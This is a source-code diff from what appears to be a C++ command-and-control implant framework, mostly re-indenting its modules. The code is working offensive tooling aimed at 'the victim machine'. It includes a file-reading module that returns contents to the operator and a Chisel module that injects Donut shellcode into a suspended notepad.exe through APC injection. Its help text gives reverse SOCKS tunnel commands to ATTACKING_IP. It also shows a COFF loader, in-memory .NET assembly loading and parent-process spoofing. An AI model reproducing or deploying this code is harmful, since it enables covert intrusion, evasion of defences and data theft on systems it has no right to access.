m_isSpoofParent = isSpoofParent;
return 0;
}
int setSpoofedParent(const std::string& spoofedParent)
{
m_spoofedParent = spoofedParent;
return 0;
}
private:
std::string m_processToSpawn;
bool m_useSyscall;
bool m_isModeProcess;
bool m_isSpoofParent;
std::string m_spoofedParent;
std::string m_processToSpawn;
bool m_useSyscall;
bool m_isModeProcess;
bool m_isSpoofParent;
std::string m_spoofedParent;
#ifdef __linux__
int whateverLinux(const std::string& payload, std::string& result);
int whateverLinux(const std::string& payload, std::string& result);
#elif _WIN32
int createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result);
int createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result);
int createNewThread(const std::string& payload, std::string& result);
int createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result);
int createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result);
int createNewThread(const std::string& payload, std::string& result);
bool m_isProcessRuning;
HANDLE m_processHandle;
int killProcess();
bool m_isProcessRuning;
HANDLE m_processHandle;
int killProcess();
#endif
};
+49 -49
View File
@@ -29,9 +29,9 @@ __attribute__((visibility("default"))) Cat* CatConstructor()
Cat::Cat()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
}
@@ -42,40 +42,40 @@ Cat::~Cat()
std::string Cat::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "Cat Module:\n";
info += "Read and display the contents of a file from the victim machine.\n";
info += "Useful for quickly inspecting text files or verifying file contents.\n";
info += "\nExample:\n";
info += "- cat c:\\temp\\toto.txt\n";
info += "Cat Module:\n";
info += "Read and display the contents of a file from the victim machine.\n";
info += "Useful for quickly inspecting text files or verifying file contents.\n";
info += "\nExample:\n";
info += "- cat c:\\temp\\toto.txt\n";
#endif
return info;
return info;
}
int Cat::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
if (splitedCmd.size() >= 2 )
{
string inputFile;
for (int idx = 1; idx < splitedCmd.size(); idx++)
{
if(!inputFile.empty())
inputFile+=" ";
inputFile+=splitedCmd[idx];
}
if (splitedCmd.size() >= 2 )
{
string inputFile;
for (int idx = 1; idx < splitedCmd.size(); idx++)
{
if(!inputFile.empty())
inputFile+=" ";
inputFile+=splitedCmd[idx];
}
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
#endif
return 0;
return 0;
}
@@ -83,35 +83,35 @@ int Cat::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
int Cat::process(C2Message &c2Message, C2Message &c2RetMessage)
{
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(c2Message.inputfile());
c2RetMessage.set_inputfile(c2Message.inputfile());
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(c2Message.inputfile());
c2RetMessage.set_inputfile(c2Message.inputfile());
std::string inputFile = c2Message.inputfile();
std::ifstream input(inputFile, std::ios::binary);
if( !input.fail() )
{
std::string buffer(std::istreambuf_iterator<char>(input), {});
c2RetMessage.set_returnvalue(buffer);
}
else
{
c2RetMessage.set_errorCode(ERROR_OPEN_FILE);
}
std::string inputFile = c2Message.inputfile();
std::ifstream input(inputFile, std::ios::binary);
if( !input.fail() )
{
std::string buffer(std::istreambuf_iterator<char>(input), {});
c2RetMessage.set_returnvalue(buffer);
}
else
{
c2RetMessage.set_errorCode(ERROR_OPEN_FILE);
}
return 0;
return 0;
}
int Cat::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
{
#ifdef BUILD_TEAMSERVER
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==ERROR_OPEN_FILE)
errorMsg = "Failed: Couldn't open file";
}
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==ERROR_OPEN_FILE)
errorMsg = "Failed: Couldn't open file";
}
#endif
return 0;
return 0;
}
+8 -8
View File
@@ -7,16 +7,16 @@ class Cat : public ModuleCmd
{
public:
Cat();
~Cat();
Cat();
~Cat();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int osCompatibility()
{
return OS_LINUX | OS_WINDOWS;
}
+21 -21
View File
@@ -32,9 +32,9 @@ __attribute__((visibility("default"))) ChangeDirectory* ChangeDirectoryConstruct
ChangeDirectory::ChangeDirectory()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
}
@@ -45,16 +45,16 @@ ChangeDirectory::~ChangeDirectory()
std::string ChangeDirectory::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "ChangeDirectory Module:\n";
info += "Change the current working directory on the victim machine.\n";
info += "This affects the context for relative file paths in subsequent commands.\n";
info += "\nExample:\n";
info += "- cd /tmp\n";
info += "- cd C:\\Users\\Public\n";
info += "ChangeDirectory Module:\n";
info += "Change the current working directory on the victim machine.\n";
info += "This affects the context for relative file paths in subsequent commands.\n";
info += "\nExample:\n";
info += "- cd /tmp\n";
info += "- cd C:\\Users\\Public\n";
#endif
return info;
return info;
}
int ChangeDirectory::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
@@ -68,29 +68,29 @@ int ChangeDirectory::init(std::vector<std::string> &splitedCmd, C2Message &c2Mes
path+=splitedCmd[idx];
}
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd(path);
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd(path);
#endif
return 0;
return 0;
}
int ChangeDirectory::process(C2Message &c2Message, C2Message &c2RetMessage)
{
string path = c2Message.cmd();
std::string outCmd = changeDirectory(path);
string path = c2Message.cmd();
std::string outCmd = changeDirectory(path);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(path);
c2RetMessage.set_returnvalue(outCmd);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(path);
c2RetMessage.set_returnvalue(outCmd);
return 0;
return 0;
}
std::string ChangeDirectory::changeDirectory(const std::string& path)
{
std::error_code ec;
std::error_code ec;
try
{
if(!path.empty())
@@ -102,5 +102,5 @@ std::string ChangeDirectory::changeDirectory(const std::string& path)
std::string result;
result=std::filesystem::current_path(ec).string();
return result;
return result;
}
+8 -8
View File
@@ -7,20 +7,20 @@ class ChangeDirectory : public ModuleCmd
{
public:
ChangeDirectory();
~ChangeDirectory();
ChangeDirectory();
~ChangeDirectory();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_LINUX | OS_WINDOWS;
}
private:
std::string changeDirectory(const std::string& path);
std::string changeDirectory(const std::string& path);
};
+186 -186
View File
@@ -30,9 +30,9 @@ __attribute__((visibility("default"))) Chisel* ChiselConstructor()
Chisel::Chisel()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
}
@@ -43,230 +43,230 @@ Chisel::~Chisel()
std::string Chisel::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "Chisel:\n";
info += "Launch chisel in a thread on the remote server.\n";
info += "No output is provided.\n";
info += "exemple:\n";
info += "- chisel status\n";
info += "- chisel stop pid\n";
info += "Reverse Socks Proxy:\n";
info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:socks\n";
info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n";
info += "Remote Port Forward:\n";
info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n";
info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n";
info += "Chisel:\n";
info += "Launch chisel in a thread on the remote server.\n";
info += "No output is provided.\n";
info += "exemple:\n";
info += "- chisel status\n";
info += "- chisel stop pid\n";
info += "Reverse Socks Proxy:\n";
info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:socks\n";
info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n";
info += "Remote Port Forward:\n";
info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n";
info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n";
#endif
return info;
return info;
}
int Chisel::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
if (splitedCmd.size() == 2)
{
if(splitedCmd[1]=="status")
{
std::string msg;
for(int i=0; i<m_instances.size(); i++)
{
msg+="pid ";
msg+=std::to_string(m_instances[i].first);
msg+=", ";
msg+=m_instances[i].second;
msg+="\n";
}
c2Message.set_returnvalue(msg);
return -1;
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
}
else if (splitedCmd.size() == 3)
{
if(splitedCmd[1]=="stop")
{
int pid=-1;
try
{
pid = atoi(splitedCmd[2].c_str());
}
catch (const std::invalid_argument& ia)
{
c2Message.set_returnvalue(getInfo());
return -1;
}
if (splitedCmd.size() == 2)
{
if(splitedCmd[1]=="status")
{
std::string msg;
for(int i=0; i<m_instances.size(); i++)
{
msg+="pid ";
msg+=std::to_string(m_instances[i].first);
msg+=", ";
msg+=m_instances[i].second;
msg+="\n";
}
c2Message.set_returnvalue(msg);
return -1;
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
}
else if (splitedCmd.size() == 3)
{
if(splitedCmd[1]=="stop")
{
int pid=-1;
try
{
pid = atoi(splitedCmd[2].c_str());
}
catch (const std::invalid_argument& ia)
{
c2Message.set_returnvalue(getInfo());
return -1;
}
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_pid(pid);
c2Message.set_cmd("stop");
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
}
else if (splitedCmd.size() == 5)
{
std::string inputFile=splitedCmd[1];
std::string args;
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_pid(pid);
c2Message.set_cmd("stop");
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
}
else if (splitedCmd.size() == 5)
{
std::string inputFile=splitedCmd[1];
std::string args;
for (int idx = 2; idx < splitedCmd.size(); idx++)
{
if(!args.empty())
args+=" ";
args+=splitedCmd[idx];
}
for (int idx = 2; idx < splitedCmd.size(); idx++)
{
if(!args.empty())
args+=" ";
args+=splitedCmd[idx];
}
if(inputFile.empty())
{
std::string msg = "A file name have to be provided.\n";
c2Message.set_returnvalue(msg);
return -1;
}
if(inputFile.empty())
{
std::string msg = "A file name have to be provided.\n";
c2Message.set_returnvalue(msg);
return -1;
}
std::ifstream myfile;
myfile.open(inputFile);
std::ifstream myfile;
myfile.open(inputFile);
if(!myfile)
{
std::string newInputFile=m_toolsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
std::string newInputFile=m_toolsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
std::string msg = "Couldn't open file.\n";
c2Message.set_returnvalue(msg);
return -1;
}
myfile.close();
if(!myfile)
{
std::string msg = "Couldn't open file.\n";
c2Message.set_returnvalue(msg);
return -1;
}
myfile.close();
std::string method;
std::string payload;
creatShellCodeDonut(inputFile, method, args, payload);
std::string method;
std::string payload;
creatShellCodeDonut(inputFile, method, args, payload);
if(payload.size()==0)
{
std::string msg = "Something went wrong. Payload empty.\n";
c2Message.set_returnvalue(msg);
return -1;
}
if(payload.size()==0)
{
std::string msg = "Something went wrong. Payload empty.\n";
c2Message.set_returnvalue(msg);
return -1;
}
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_cmd(args);
c2Message.set_data(payload.data(), payload.size());
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_cmd(args);
c2Message.set_data(payload.data(), payload.size());
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
#endif
return 0;
return 0;
}
int Chisel::process(C2Message &c2Message, C2Message &c2RetMessage)
{
const std::string payload = c2Message.data();
const std::string payload = c2Message.data();
std::string result;
int pid=-1;
std::string result;
int pid=-1;
#ifdef __linux__
#elif _WIN32
if(c2Message.cmd()=="stop")
{
pid = c2Message.pid();
HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
TerminateProcess(hProc,9);
if(c2Message.cmd()=="stop")
{
pid = c2Message.pid();
HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
TerminateProcess(hProc,9);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_pid(pid);
c2RetMessage.set_cmd("stop");
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_pid(pid);
c2RetMessage.set_cmd("stop");
result="Chisel stoped.\n";
c2RetMessage.set_returnvalue(result);
return 0;
}
result="Chisel stoped.\n";
c2RetMessage.set_returnvalue(result);
return 0;
}
STARTUPINFO si;
PROCESS_INFORMATION pi;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
TCHAR szCmdline[] = TEXT("notepad.exe");
if (CreateProcess(NULL, szCmdline, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
{
PVOID remoteBuffer = VirtualAllocEx(pi.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
DWORD oldprotect = 0;
VirtualProtectEx(pi.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
QueueUserAPC((PAPCFUNC)apcRoutine, pi.hThread, NULL);
ResumeThread(pi.hThread);
TCHAR szCmdline[] = TEXT("notepad.exe");
if (CreateProcess(NULL, szCmdline, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
{
PVOID remoteBuffer = VirtualAllocEx(pi.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
DWORD oldprotect = 0;
VirtualProtectEx(pi.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
QueueUserAPC((PAPCFUNC)apcRoutine, pi.hThread, NULL);
ResumeThread(pi.hThread);
pid=pi.dwProcessId;
result = "Start chisel on pid ";
result += std::to_string(pid);
result += "\n";
}
else
{
result += "CreateProcess failed.";
}
pid=pi.dwProcessId;
result = "Start chisel on pid ";
result += std::to_string(pid);
result += "\n";
}
else
{
result += "CreateProcess failed.";
}
#endif
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_pid(pid);
c2RetMessage.set_cmd(c2Message.cmd());
c2RetMessage.set_returnvalue(result);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_pid(pid);
c2RetMessage.set_cmd(c2Message.cmd());
c2RetMessage.set_returnvalue(result);
return 0;
return 0;
}
int Chisel::followUp(const C2Message &c2RetMessage)
{
int pid = c2RetMessage.pid();
if(pid!=-1)
{
if(c2RetMessage.cmd()=="stop")
{
auto it = m_instances.begin();
while(it != m_instances.end())
{
std::cout << (*it).first << std::endl;
if((*it).first == pid)
{
it = m_instances.erase(it);
}
else
{
it++;
}
}
}
else
{
std::pair<int, std::string> inst;
inst.first = pid;
inst.second = c2RetMessage.cmd();
m_instances.push_back(inst);
}
}
int pid = c2RetMessage.pid();
if(pid!=-1)
{
if(c2RetMessage.cmd()=="stop")
{
auto it = m_instances.begin();
while(it != m_instances.end())
{
std::cout << (*it).first << std::endl;
if((*it).first == pid)
{
it = m_instances.erase(it);
}
else
{
it++;
}
}
}
else
{
std::pair<int, std::string> inst;
inst.first = pid;
inst.second = c2RetMessage.cmd();
m_instances.push_back(inst);
}
}
return 0;
return 0;
}
+9 -9
View File
@@ -7,21 +7,21 @@ class Chisel : public ModuleCmd
{
public:
Chisel();
~Chisel();
Chisel();
~Chisel();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int followUp(const C2Message &c2RetMessage);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int followUp(const C2Message &c2RetMessage);
int osCompatibility()
{
return OS_WINDOWS;
}
private:
std::vector<std::pair<int, std::string>> m_instances;
std::vector<std::pair<int, std::string>> m_instances;
};
+17 -17
View File
@@ -44,9 +44,9 @@ __attribute__((visibility("default"))) CoffLoader* CoffConstructor()
CoffLoader::CoffLoader()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
}
@@ -57,24 +57,24 @@ CoffLoader::~CoffLoader()
std::string CoffLoader::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "coffLoader:\n";
info += "Load a .o coff file and execute it.\n";
info += "coffLoader:\n";
info += "Load a .o coff file and execute it.\n";
info += "Coff take packed argument as entry, you get to specify the type as a string of [Z,z,s,i] for wstring, string, short, int.\n";
info += "exemple:\n";
info += "- coffLoader ./dir.x64.o go Zs c:\\ 0\n";
info += "exemple:\n";
info += "- coffLoader ./dir.x64.o go Zs c:\\ 0\n";
info += "- coffLoader ./whoami.x64.o\n";
#endif
return info;
return info;
}
int CoffLoader::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
{
if (splitedCmd.size() < 3)
{
c2Message.set_returnvalue(getInfo());
return -1;
c2Message.set_returnvalue(getInfo());
return -1;
}
c2Message.set_instruction(splitedCmd[0]);
@@ -116,22 +116,22 @@ int CoffLoader::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
}
return 0;
return 0;
}
int CoffLoader::process(C2Message &c2Message, C2Message &c2RetMessage)
{
std::string payload = c2Message.data();
std::string payload = c2Message.data();
std::string functionName = c2Message.cmd();
std::string args = c2Message.args();
std::string result = coffLoader(payload, functionName, args);
std::string result = coffLoader(payload, functionName, args);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_returnvalue(result);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_returnvalue(result);
return 0;
return 0;
}
@@ -191,5 +191,5 @@ std::string CoffLoader::coffLoader(std::string& payload, std::string& functionNa
}
#endif
return result;
return result;
}
+8 -8
View File
@@ -7,20 +7,20 @@ class CoffLoader : public ModuleCmd
{
public:
CoffLoader();
~CoffLoader();
CoffLoader();
~CoffLoader();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_WINDOWS;
}
private:
std::string coffLoader(std::string& payload, std::string& functionName, std::string& argsCompressed);
std::string coffLoader(std::string& payload, std::string& functionName, std::string& argsCompressed);
};
+62 -62
View File
@@ -1,62 +1,62 @@
#include "AssemblyManager.hpp"
MyAssemblyManager::MyAssemblyManager(void)
{
count = 0;
m_assemblyStore = new MyAssemblyStore();
};
MyAssemblyManager::~MyAssemblyManager(void)
{
delete m_assemblyStore;
};
HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef()
{
return(++((MyAssemblyManager*)this)->count);
}
ULONG STDMETHODCALLTYPE MyAssemblyManager::Release()
{
if (--((MyAssemblyManager*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyAssemblyManager*)this)->count;
}
// This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them)
// We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList)
{
*ppReferenceList = NULL;
return S_OK;
}
//This is responsible for returning our IHostAssemblyStore implementation
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore)
{
*ppAssemblyStore = m_assemblyStore;
return S_OK;
}
#include "AssemblyManager.hpp"
MyAssemblyManager::MyAssemblyManager(void)
{
count = 0;
m_assemblyStore = new MyAssemblyStore();
};
MyAssemblyManager::~MyAssemblyManager(void)
{
delete m_assemblyStore;
};
HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef()
{
return(++((MyAssemblyManager*)this)->count);
}
ULONG STDMETHODCALLTYPE MyAssemblyManager::Release()
{
if (--((MyAssemblyManager*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyAssemblyManager*)this)->count;
}
// This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them)
// We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList)
{
*ppReferenceList = NULL;
return S_OK;
}
//This is responsible for returning our IHostAssemblyStore implementation
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore)
{
*ppAssemblyStore = m_assemblyStore;
return S_OK;
}
+40 -40
View File
@@ -1,41 +1,41 @@
#pragma once
#include "AssemblyStore.hpp"
class MyAssemblyManager : public IHostAssemblyManager
{
public:
MyAssemblyManager(void);
~MyAssemblyManager(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList);
virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore);
int setTargetAssembly(TargetAssembly * targetAssembly)
{
m_assemblyStore->setTargetAssembly(targetAssembly);
return 0;
}
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_assemblyStore->updateTargetAssembly(identityManager, data);
return 0;
}
LPWSTR getAssemblyInfo()
{
return m_assemblyStore->getAssemblyInfo();
};
protected:
DWORD count;
private:
MyAssemblyStore* m_assemblyStore;
#pragma once
#include "AssemblyStore.hpp"
class MyAssemblyManager : public IHostAssemblyManager
{
public:
MyAssemblyManager(void);
~MyAssemblyManager(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList);
virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore);
int setTargetAssembly(TargetAssembly * targetAssembly)
{
m_assemblyStore->setTargetAssembly(targetAssembly);
return 0;
}
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_assemblyStore->updateTargetAssembly(identityManager, data);
return 0;
}
LPWSTR getAssemblyInfo()
{
return m_assemblyStore->getAssemblyInfo();
};
protected:
DWORD count;
private:
MyAssemblyStore* m_assemblyStore;
};
+114 -114
View File
@@ -1,114 +1,114 @@
#include "AssemblyStore.hpp"
#include <objbase.h>
#include <iostream>
#include <shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
MyAssemblyStore::MyAssemblyStore(void)
{
count = 0;
m_targetAssembly = nullptr;
};
MyAssemblyStore::~MyAssemblyStore(void)
{
};
HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef()
{
return(++((MyAssemblyStore*)this)->count);
}
ULONG STDMETHODCALLTYPE MyAssemblyStore::Release()
{
if (--((MyAssemblyStore*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyAssemblyStore*)this)->count;
}
int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_assembly=data;
if(m_assemblyStream!=nullptr)
m_assemblyStream->Release();
m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size());
identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize);
// std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl;
// std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl;
m_id++;
return 0;
}
int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_targetAssembly->updateTargetAssembly(identityManager, data);
return 0;
}
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB)
{
// std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl;
// std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl;
// std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl;
// Check if the identity of the assembly being loaded is the one we want
if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0)
{
//This isn't used for anything here so just set it to 0
*pContext = 0;
UINT64 id = m_targetAssembly->getId();
*pAssemblyId = id;
//Create an IStream using our in-memory assembly bytes and return it to the CLR
*ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize());
return S_OK;
}
// std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl;
// If it's not our assembly then tell the CLR to handle it
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
}
// This shouldn't really get called but if it does we'll just tell the CLR to find it
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB)
{
// std::cout << "MyAssemblyStore::ProvideModule" << std::endl;
//Tell the CLR to handle this
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
}
#include "AssemblyStore.hpp"
#include <objbase.h>
#include <iostream>
#include <shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
MyAssemblyStore::MyAssemblyStore(void)
{
count = 0;
m_targetAssembly = nullptr;
};
MyAssemblyStore::~MyAssemblyStore(void)
{
};
HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv)
{
